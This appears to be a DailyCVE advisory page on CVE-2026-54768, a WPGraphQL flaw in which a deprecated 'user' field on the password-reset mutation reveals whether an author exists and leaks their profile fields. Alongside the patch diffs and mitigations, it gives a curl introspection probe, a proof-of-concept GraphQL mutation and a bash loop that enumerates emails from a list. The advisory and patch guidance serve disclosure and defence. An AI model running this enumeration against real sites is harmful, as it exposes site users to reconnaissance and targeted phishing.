WPGraphQL User Enumeration via Deprecated Field, CVE-2026-54768 (Medium) -DC-Aug2026-1225

Listen to this Post

The `sendPasswordResetEmail` mutation in WPGraphQL is explicitly designed to prevent user enumeration. The resolver in `src/Mutation/SendPasswordResetEmail.php` contains a code comment stating: `// We obsfucate the actual success of this mutation to prevent user enumeration.` The mutation always returns `success: true` regardless of whether the supplied username or email belongs to an existing user. The intended public output field is only success: Boolean.
However, a deprecated `user` field remains registered on the `SendPasswordResetEmailPayload` output type in `src/Deprecated.php` (lines 433–450). This deprecated field resolves to a full `User` object when the supplied username or email corresponds to an existing author-class user, and `null` otherwise — completely undermining the anti-enumeration design.
The vulnerability works as follows: the mutation resolver sets $payload = ['success' => true, 'id' => null]. If `get_user_data()` finds a matching user, it returns ['id' => $user_data->ID, 'success' => true]; otherwise, `id` stays null. The deprecated `user` field reads this internal `$payload[‘id’]` and resolves it through the standard user loader. The User Model’s `allowed_restricted_fields` policy permits unauthenticated reads of public author fields: databaseId, name, firstName, lastName, slug, description, uri, and url.
A `@todo remove in 3.0.0` comment acknowledges the field is scheduled for removal, but it remains active in all 2.x releases, including 2.14.1. Discovered via source code review on May 29, 2026. The issue is fixed in version 2.15.1.

DailyCVE Form

Platform: WPGraphQL
Version: 2.0.0 – 2.14.1
Vulnerability: User Enumeration + Profile Disclosure
Severity: Medium (CVSS 6.9)
Date: 2026-07-31

Prediction: 2026-08-01 (already patched)

What Undercode Say: Analytics

The vulnerability is trivially queryable and produces no logs in normal WAF rule sets. An unauthenticated attacker can enumerate all author-class users by sending repeated GraphQL mutations with different username or email inputs.

Check if WPGraphQL is installed and exposed
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name } } }"}'
PoC - Enumerate a single user
mutation EnumerateUser {
sendPasswordResetEmail(input: { username: "[email protected]" }) {
success
user {
databaseId
name
firstName
lastName
slug
description
uri
}
}
}
Automated enumeration script (bash)
for email in $(cat emails.txt); do
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d "{\"query\":\"mutation { sendPasswordResetEmail(input: { username: \\"$email\\" }) { success user { databaseId name } } }\"}" \
| jq '.data.sendPasswordResetEmail.user != null'
done

Exploit

An unauthenticated attacker sends a GraphQL mutation request using the `sendPasswordResetEmail` mutation with a username or email in the input. The response reveals whether the user exists based on the deprecated `user` field:
– Non-existing user → `data.sendPasswordResetEmail.user` is `null`
– Existing author-class user → `data.sendPasswordResetEmail.user` is a full `User` object with fields populated
– `success` always returns true, preserving the appearance of obfuscation — the deprecated `user` field is the actual leak
This can be automated with a script that checks multiple usernames or emails.

Protection

  1. Update to WPGraphQL version 2.15.1 or later — this is the official fix.
  2. If hotfixing manually, open `src/Deprecated.php` and change the `user` field resolver to always return null:
    'resolve' => static function ($payload, $args, AppContext $context) {</li>
    </ol>
    
    - return !empty($payload['id']) ? $context->get_loader('user')->load_deferred($payload['id']) : null;
    + return null;
    },
    

    3. Defense in depth — change the mutation resolver in `src/Mutation/SendPasswordResetEmail.php` to not populate `$payload[‘id’]` on success:

    return [
    - 'id' => $user_data->ID,
    + 'id' => null,
    'success' => true,
    ];
    

    4. Block unauthenticated introspection on GraphQL endpoints; at minimum disable the `SendPasswordResetEmailPayload.user` field until patched.
    5. Deploy WAF rules to detect and block suspicious `sendPasswordResetEmail` mutation patterns.

    Impact

    • Username/email enumeration — unauthenticated attacker can verify whether any username or email is registered, with no WPGraphQL-side rate limiting
    • Profile disclosure — for any user with published posts (including editors and administrators), the attacker obtains databaseId, name, firstName, lastName, slug, `description` (user bio), and `uri` — substantially more than mere existence
    • Bypasses partial hardening — sites that disabled the REST API user endpoint, the user XML sitemap, and `?author=N` redirects may still be vulnerable through this WPGraphQL path
    • Spearphishing setup — firstName/lastName/description for authors provides personalized phishing material
    • Reconnaissance enabler — the enumeration primitive can be used as the reconnaissance phase before more serious attacks

    🎯Let’s Practice Exploiting & Learn Patching For Free:

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]
    💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

    Sources:

    Reported By: github.com
    Extra Source Hub:
    Undercode

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow DailyCVE & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top